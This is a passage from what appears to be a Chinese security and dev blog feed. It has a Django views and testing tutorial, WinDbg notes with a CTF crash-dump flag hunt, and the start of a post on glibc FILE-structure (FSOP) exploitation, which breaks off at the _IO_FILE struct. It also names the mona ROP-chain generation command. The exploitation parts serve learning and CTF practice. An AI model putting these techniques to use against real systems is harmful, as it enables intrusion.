class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.shortcuts <span class="keyword">import</span> get_object_or_404, render</span><br><span class="line"><span class="keyword">from</span> django.http <span class="keyword">import</span> HttpResponseRedirect</span><br><span class="line"><span class="keyword">from</span> django.urls <span class="keyword">import</span> reverse</span><br><span class="line"><span class="keyword">from</span> django.views <span class="keyword">import</span> generic</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Choice, Question</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">IndexView</span>(generic.ListView):</span><br><span class="line">    template_name = <span class="string">&#x27;polls/index.html&#x27;</span></span><br><span class="line">    context_object_name = <span class="string">&#x27;latest_question_list&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_queryset</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Return the last five published questions.&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">return</span> Question.objects.order_by(<span class="string">&#x27;-pub_date&#x27;</span>)[:<span class="number">5</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">DetailView</span>(generic.DetailView):</span><br><span class="line">    model = Question</span><br><span class="line">    template_name = <span class="string">&#x27;polls/detail.html&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ResultsView</span>(generic.DetailView):</span><br><span class="line">    model = Question</span><br><span class="line">    template_name = <span class="string">&#x27;polls/results.html&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">vote</span>(<span class="params">request, question_id</span>):</span><br><span class="line">    ... <span class="comment"># same as above, no changes needed.</span></span><br></pre></td></tr></table></figure><p>这里使用了ListView和DetailView去展示我们的内容，ListView展示的是一个<strong>对象列表</strong>，而DetailView展示的是<strong>一个销毁展示特定对象的详细页面</strong></p><ul><li>每一个地向都需要至少知道一个<strong>model</strong>属性的对象来展示</li><li>DetailView产生的界面需要一个从URL中获取的主键，叫做<strong>pk</strong>所以我们需要将question_id作为主键交过去。<br>默认情况下，DetailView兼顾和i使用一个叫做&lt;app name?/<model name="">_detail.html的url，如这里我们不更换名字，那么名字将会变成polls/question_detail.html&quot;，这个template_name属性告诉了Django使用一个特殊的模板名字而不是自动生成一个对应的名字。<br>我们之前在手动写render的时候，会给页面中的变量赋值。比如question等等。由于DetailView的model传入参数的时候，我们传入的Question会正确的设置变量。但是List View中却会给传入的Question对象命名为question_list。所以这里正确的做法就是覆盖掉对象的上下文名字【context_object_name】，从而能修改默认的名字。</model></li></ul><h2 id="自动测试">自动测试</h2><p>在模型设计上，我们有一个Question.was_published_reently()的方法，功能是判断当前的Question是否已经显示。然而，当时的判断方法似乎会导致我们一些将来提出的Quetion也被视为published，这里我们进行测试:</p><ul><li>使用Admin创建一个问题，时间确定在将来的一个时间</li><li>在shell中调用对应函数进行测试。<br>发现的确是存在这个问题，于是我们可以写一个自动化测试,Django已经提供了一个tests.py给我们，这个测试系统将会自动的寻找<strong>每一个文件中以test开头的测试。</strong><br>在tests.py文件中添加如下代码:</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> django.utils <span class="keyword">import</span> timezone</span><br><span class="line"><span class="keyword">from</span> django.test <span class="keyword">import</span> TestCase</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> Question</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">QuestionMethodTests</span>(<span class="title class_ inherited__">TestCase</span>):</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_was_published_recently_with_future_question</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        was_published_recently() should return False for questions whose</span></span><br><span class="line"><span class="string">        pub_date is in the future.</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        time = timezone.now() + datetime.timedelta(days=<span class="number">30</span>)</span><br><span class="line">        future_question = Question(pub_date=time)</span><br><span class="line">        self.assertIs(future_question.was_published_recently(), <span class="literal">False</span>)</span><br></pre></td></tr></table></figure><p>然后我们使用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py test polls</span><br></pre></td></tr></table></figure><p>就可以对polls进行测试。<br>当我们执行上述代码的时候，一下的事情发生了:</p><ul><li>寻找polls app 中的相关测试</li><li>找打了一个django.test.TestCase类</li><li>为测试创建了一个特定的测试数据库</li><li>在<strong>test开头的函数</strong> test_was_published_recently_with_future_question中穿件了一个Question对象，其中pub_date的数据为30天后</li><li>然后使用了assertIs()方法，发现了返回值的数据不一致。</li></ul><h2 id="修复bug">修复bug</h2><p>由于这个函数的意思是【一天内推送的question】，所以这里我们增加判断语句即可。<br>可以通过别的测试项目来增加测试的内容。</p><h2 id="测试界面">测试界面</h2><p>注意到，我们除了要求我们的代码内部的行为，还需要在意其在view层面的变化。</p><h2 id="测试用户">测试用户</h2><p>Django提供了一个Client来模拟一个用户来与界面交互。<br>首先我们现在命令行中体验一下这个感觉:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> django.test.utils <span class="keyword">import</span> setup_test_environment</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>setup_test_environment()</span><br><span class="line">````</span><br><span class="line">setup_test_environment()提供了一个临时的渲染器，这个允许我们能够在response中增加形如response.context这类内容的属性。注意到，这个方法并不会新建立一个测试数据库。  </span><br><span class="line"></span><br><span class="line">接下来我们需要导入测试用户类。</span><br><span class="line">```python</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> django.test <span class="keyword">import</span> Client</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># create an instance of the client for our use</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>client = Client()</span><br></pre></td></tr></table></figure><p>然后我们依次测试部分数据:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># get a response from &#x27;/&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>response = client.get(<span class="string">&#x27;/&#x27;</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># we should expect a 404 from that address</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>response.status_code</span><br><span class="line"><span class="number">404</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># on the other hand we should expect to find something at &#x27;/polls/&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># we&#x27;ll use &#x27;reverse()&#x27; rather than a hardcoded URL</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> django.urls <span class="keyword">import</span> reverse</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>response = client.get(reverse(<span class="string">&#x27;polls:index&#x27;</span>))</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>response.status_code</span><br><span class="line"><span class="number">200</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>response.content</span><br><span class="line"><span class="string">b&#x27;\n    &lt;ul&gt;\n    \n        &lt;li&gt;&lt;a href=&quot;/polls/1/&quot;&gt;What&amp;#39;s up?&lt;/a&gt;&lt;/li&gt;\n    \n    &lt;/ul&gt;\n\n&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># If the following doesn&#x27;t work, you probably omitted the call to</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="comment"># setup_test_environment() described above</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>response.context[<span class="string">&#x27;latest_question_list&#x27;</span>]</span><br><span class="line">&lt;QuerySet [&lt;Question: What<span class="string">&#x27;s up?&gt;]&gt;</span></span><br></pre></td></tr></table></figure><p>由于我们之前运行了添加未来的question，所以我们在展示的时候是不能够将所有的数据展示，只能够展示已经出现过的数据。于是这里我们修改views.py中的index:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">get_queryset</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    Return the last five published questions (not including those set to be</span></span><br><span class="line"><span class="string">    published in the future).</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> Question.objects.<span class="built_in">filter</span>(</span><br><span class="line">        pub_date__lte=timezone.now()</span><br><span class="line">    ).order_by(<span class="string">&#x27;-pub_date&#x27;</span>)[:<span class="number">5</span>]</span><br></pre></td></tr></table></figure><p>过滤器中的参数__lte表示【比传入参数litte or equal】的数据，所以此时只会返回所有的&lt;=当前时间的数据。</p><h2 id="测试一下新的view">测试一下新的view</h2><p>由于我们刚刚只是测试了现有的数据，但是问题是，如果我们每次新建数据的时候会触发漏洞怎么办？所以这里我们就尝试按照上面shell中操作的那样，模拟一个创建的过程。<br>我们首先写一个create_question来模拟新建这个question的过程，注意这个过程我们不会将数据引入到我们的数据库中（也就不去save，而是直接创建一个对象，这样的话在结束的时候，数据就会丢失）。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">create_question</span>(<span class="params">question_text, days</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    Creates a question with the given `question_text` and published the</span></span><br><span class="line"><span class="string">    given number of `days` offset to now (negative for questions published</span></span><br><span class="line"><span class="string">    in the past, positive for questions that have yet to be published).</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    time = timezone.now() + datetime.timedelta(days=days)</span><br><span class="line">    <span class="keyword">return</span> Question.objects.create(question_text=question_text, pub_date=time)</span><br></pre></td></tr></table></figure><p>然后接下来就是各类测试:不创建问题的，创建未来的问题的，过去的问题的，同时创建两种问题，还有连续创建两个过去的问题。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上一篇我们成功完成了模型(models),那么接下来我们来学习一下界面(views)的相关内容：&lt;/p&gt;
&lt;h2 id=&quot;more&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
    <category term="django" scheme="https://showlinkroom.me/tags/django/"/>
    
  </entry>
  
  <entry>
    <title>Windbg学习笔记</title>
    <link href="https://showlinkroom.me/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <id>https://showlinkroom.me/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <published>2017-06-13T02:54:01.000Z</published>
    <updated>2020-07-16T13:31:30.421Z</updated>
    
    <content type="html"><![CDATA[<p>windbg可被誉为是windows下的一个很棒的调试器，这里借助比赛的机会学习一波好了</p><h2 id="more-windbg学习笔记"><span id="more"></span><br>Windbg学习笔记</h2><h2 id="基本介绍">基本介绍</h2><p>windbg的指令分成以下几类</p><ul><li>标准命令</li><li>元命令</li><li>扩展指令</li></ul><p>标准命令相当于是内建在windbg中的默认指令。<br>元命令则是提供给标准指令中没有的指令，调用时开头要加上<code>.</code>符号。<br>扩展指令则是用于实现针对特定目标的调试功能，使用前要加上<code>!</code>符号，其完整的调用格式为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">！nameofExtentModule.nameofExtentCommand 参数</span><br></pre></td></tr></table></figure><p>其中如果扩栈模块已经加载了，那么<code>nameofExtentModule.</code>不是必须的，windbg会直接查找。</p><h2 id="常用指令">常用指令</h2><h3 id="执行-调试相关">执行、调试相关</h3><h4 id="dt">dt</h4><p>dt命令看可以显示局部变量、全局变量或数据类型的信息。它也可以仅显示数据类型。即结构和联合(union)的信息。<br>例如，查看当前的线程块:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dt _teb</span><br></pre></td></tr></table></figure><h4 id="d-查看数据">d 查看数据</h4><p>默认格式如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">d [type] [address range]</span><br></pre></td></tr></table></figure><p>d这个命令能够查看指定地址和内存的内容，其中常用的有dd（使用双字节来查看内存内容），如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dd 77400000</span><br></pre></td></tr></table></figure><h4 id="peb">！peb</h4><p><em>扩展指令</em><br>可以查看当前进程中的peb的基本情况。</p><h4 id="bp">bp</h4><p>指令格式如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bp &lt;address&gt;</span><br></pre></td></tr></table></figure><p>常见的下断点的方式。对应的清除断点的方式为bc num,而列出断点的方法为bl</p><h4 id="g">g</h4><p>最基本的指令，运行当前程序。除此之外，还有gu // 执行到当前函数完成时停下 【Go Up】等</p><h4 id="u">u</h4><p>将指定的地址反汇编:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">u[u|b] address(.表示当前的程序执行地址)</span><br></pre></td></tr></table></figure><p>其中uu和ub可以指定当前反汇编的长度(暂时没看出什么区别，似乎是ub的话使用.会自动计算从函数开始的地址进行汇编)。可以使用以下的语法进行长度的指定</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uu Address L[Length]</span><br></pre></td></tr></table></figure><p>使用L表示后面的数字表示的是长度</p><h4 id="r">r</h4><p>查看当前的寄存器<br>同时可以修改当前的寄存器，比如说:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">r @eax=1</span><br></pre></td></tr></table></figure><p>将当前的eax寄存器的值修改成1</p><h4 id="ed">ed</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ed [address][content]</span><br></pre></td></tr></table></figure><p>将当前的内存修改成指定值<br>例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ed 08041000 11111111</span><br></pre></td></tr></table></figure><p>将地址08041000处的内容修改成11111111</p><h4 id="p">p</h4><p>常见指令，单步步过。除此之外还有:</p><ul><li>p 2 // 2为步进数目</li><li>pc // 执行到下一个函数调用处停下 【Step to  Next Call】</li><li>pa 7c801b0b // 执行到7c801b0b地址处停下  【Step to Adress】</li></ul><h4 id="t">t</h4><p>常见指令，单步步入</p><h4 id="k">k</h4><p>查看栈帧调用顺序</p><h3 id="调试辅助相关">调试辅助相关</h3><h4 id="sympath">.sympath</h4><p>表示当前的符号加载情况。符号能够帮助我们更加方便的分析程序。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.sympath+ D:\Filename</span><br></pre></td></tr></table></figure><p>将D:\Filename添加到符号查找的路径中。<br>关于符号，其中<code>lm</code>指令可以检查当前的文件中是否加载了符号文件:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; lm</span><br><span class="line">start    end        module name</span><br><span class="line">009e0000 009e6000   test_x86_wo_gs_safeseh_dep   (deferred)             </span><br><span class="line">65430000 65506000   MSVCR110   (deferred)             </span><br><span class="line">74c80000 74e57000   KERNELBASE   (deferred)             </span><br><span class="line">756b0000 75780000   KERNEL32   (deferred)             </span><br><span class="line">77e00000 77f8d000   ntdll      (pdb symbols)          E:\Competition\reverse\WinDBG\Debuggers\x86\sym\wntdll.pdb\30D581A78028B9E4A0BF83EE93B38BD31\wntdll.pdb</span><br></pre></td></tr></table></figure><ul><li>deffered：表示延迟绑定</li><li>pdb symbols：表示已经加载当前符号</li></ul><h4 id="load">.load</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.load dllname</span><br></pre></td></tr></table></figure><p>导入指定名字的dll文件，常常用于导入插件</p><h3 id="漏洞利用相关">漏洞利用相关</h3><h4 id="py-mona">!py mona</h4><p><code>mona</code>是一个好东西哈，可以用来生成<code>ROP</code>，查找<code>Gadget</code>，进行漏洞挖掘等等。</p><h5 id="生成rop-chain">生成ROP Chain</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">!py mona rop -m &quot;module&quot;</span><br></pre></td></tr></table></figure><p>利用module生成<code>ROP Chain</code></p><h4 id="参数">参数</h4><p>有些程序传递参数的时候，可以从下图的位置的位置传递数据。<br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg09.png" alt=""></p><h2 id="实战：用windbg来分析dmp文件">实战：用windbg来分析dmp文件</h2><p>这里用一次比赛的题目来记录此次的学习过程好了。<br>当程序运行到某些重大错误的时候，windows会帮我们生成一个.dmp文件，这里的dmp就是文件进程的内存镜像，可以把程序的执行状态通过调试器保存在其中。</p><p>我们首先将dmp文件导入到windbg中，选择<strong>open crash dump</strong>即可打开文件。然后等待文件打开之后，我们输入指令</p><pre><code>!analyze –v</code></pre><p>!analyze是分析用的指令，-v表示要看详细信息。结果大概如下：<br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg00.png" alt=""><br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg01.png" alt=""><br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg02.png" alt=""><br>从图中，我们可以看到如下信息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">BUCKET_ID_PREFIX_STR:  STATUS_BREAKPOINT_</span><br><span class="line"></span><br><span class="line">FAILURE_PROBLEM_CLASS:  STATUS_BREAKPOINT</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这段一次就是说，当前的dmp是由于STATUS_BREAKPOINT导致的，也就是【断点让其中断】导致，上网查阅资料后可以知道，此类中断是由windbg本身强制中断所引发的。然后我们查看一下当前加载了哪些模块</p><pre><code>lm</code></pre><p><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg04.png" alt=""><br>PS:这段我还发现用VS也可以查看来着<br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg03.png" alt=""><br>有点奇怪，我们能够发现这里有一个叫做stolen.dll的动态链接库。。仔细想这个名字实在是奇怪，我们尝试上网查一下这个东西,发现完全没办法查到，这反而增加了这个东西的可疑性——毕竟正常的dll都能够在网上查到的。于是我们尝试跟踪一下当前的dll</p><pre><code>lmv m stolen</code></pre><p><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg05.png" alt=""><br>能够看见其起始地址为</p><pre><code>10000000</code></pre><p>但是当我们去查看的时候，这段内容由于并没有被映射，无法被查看。。。<br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg06.png" alt=""><br>那么既然这段内容不能被查看，那不如我们来查看一下整个内存空间信息，看看哪段是被映射了的</p><pre><code>!vadump</code></pre><p><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg07.png" alt=""><br>其中这条信息比较有意思</p><pre><code>BaseAddress: 10001000RegionSize:  000062f4</code></pre><p>很显然是在那个stolen.dll范围中的一个数据，我打开memory窗口，输入地址进行查看:<br><img src="/2017/06/13/Windbg%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/Windbg08.png" alt=""><br>这里有一段很神奇的ascii码。。。这个</p><pre><code>great!acaa16770db76c1ffb9cee51c3cabfcf</code></pre><p>就是我们需要寻找的信息</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;windbg可被誉为是windows下的一个很棒的调试器，这里借助比赛的机会学习一波好了&lt;/p&gt;
&lt;h2 id=&quot;more-windbg学习笔记&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="Tools" scheme="https://showlinkroom.me/tags/Tools/"/>
    
  </entry>
  
  <entry>
    <title>pwn之文件指针处理</title>
    <link href="https://showlinkroom.me/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/"/>
    <id>https://showlinkroom.me/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/</id>
    <published>2017-06-12T13:15:54.000Z</published>
    <updated>2024-06-09T07:56:18.573Z</updated>
    
    <content type="html"><![CDATA[<p>关于pwn的技巧真多。。。其实这个思路是看了队友的poc才知道的</p><p>2018.9.9 更新：这个思路也是看了队友的博客才知道的，队友太强了</p><p>2024.5.20 更新：谁能想到，七年之后这个技巧居然还能玩，有了自己专属的名字 <strong>File Stream Oriented Programming</strong>，而且成了高版本中比较稳定的利用思路。。。</p><span id="more"></span><h1 id="pwn之文件指针处理-file-stream-pointer-overflow">pwn之文件指针处理(File Stream Pointer Overflow)</h1><h2 id="攻击原理">攻击原理</h2><p>每一个文件对象本质上是一个结构体<code>struct _IO_FILE</code>，这个结构体中会记录一些和文件操作相关的变量，其定义如下:<br><img src="/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/pwn02.png" alt=""></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span>&#123;</span></span><br><span class="line"><span class="type">int</span> _flags;           <span class="comment">/* High-order word is _IO_MAGIC; rest is flags. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _IO_file_flags _flags</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* The following pointers correspond to the C++ streambuf protocol. */</span></span><br><span class="line"><span class="comment">/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */</span></span><br><span class="line"><span class="type">char</span>* _IO_read_ptr;   <span class="comment">/* Current read pointer */</span></span><br><span class="line"><span class="type">char</span>* _IO_read_end;   <span class="comment">/* End of get area. */</span></span><br><span class="line"><span class="type">char</span>* _IO_read_base;  <span class="comment">/* Start of putback+get area. */</span></span><br><span class="line"><span class="type">char</span>* _IO_write_base; <span class="comment">/* Start of put area. */</span></span><br><span class="line"><span class="type">char</span>* _IO_write_ptr;  <span class="comment">/* Current put pointer. */</span></span><br><span class="line"><span class="type">char</span>* _IO_write_end;  <span class="comment">/* End of put area. */</span></span><br><span class="line"><span class="type">char</span>* _IO_buf_base;   <span class="comment">/* Start of reserve area. */</span></span><br><span class="line"><span class="type">char</span>* _IO_buf_end;    <span class="comment">/* End of reserve area. */</span></span><br><span class="line">   <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line">    <span class="type">char</span> *_IO_save_base; <span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line">    <span class="type">char</span> *_IO_backup_base;  <span class="comment">/* Pointer to first valid character of backup area */</span></span><br><span class="line">    <span class="type">char</span> *_IO_save_end; <span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> * _<span class="title">markers</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> * _<span class="title">chain</span>;</span>  <span class="comment">// next _IO_FILE</span></span><br><span class="line"><span class="type">int</span> _fileno; <span class="comment">// file descriptor</span></span><br><span class="line"><span class="type">int</span> _flags2;</span><br><span class="line">_IO_off_t _old_offset;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> _cur_column;</span><br><span class="line"><span class="type">signed</span> <span class="type">char</span> _vtable_offset;</span><br><span class="line"><span class="type">char</span> _shortbuf [<span class="number">1</span>];</span><br><span class="line">_IO_lock_t * _lock;</span><br><span class="line"><span class="type">__off64_t</span> _offset;</span><br><span class="line"><span class="comment">/* Wide character stream stuff.  */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_codecvt</span> *_<span class="title">codecvt</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_wide_data</span> *_<span class="title">wide_data</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">freeres_list</span>;</span></span><br><span class="line"><span class="type">void</span> *_freeres_buf;</span><br><span class="line"><span class="type">size_t</span> __pad5;</span><br><span class="line"><span class="type">int</span> _mode;</span><br><span class="line"><span class="comment">/* Make sure we don&#x27;t get into trouble again.  */</span></span><br><span class="line"><span class="type">char</span> _unused2[<span class="number">15</span> * <span class="keyword">sizeof</span> (<span class="type">int</span>) - <span class="number">4</span> * <span class="keyword">sizeof</span> (<span class="type">void</span> *) - <span class="keyword">sizeof</span> (<span class="type">size_t</span>)];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span 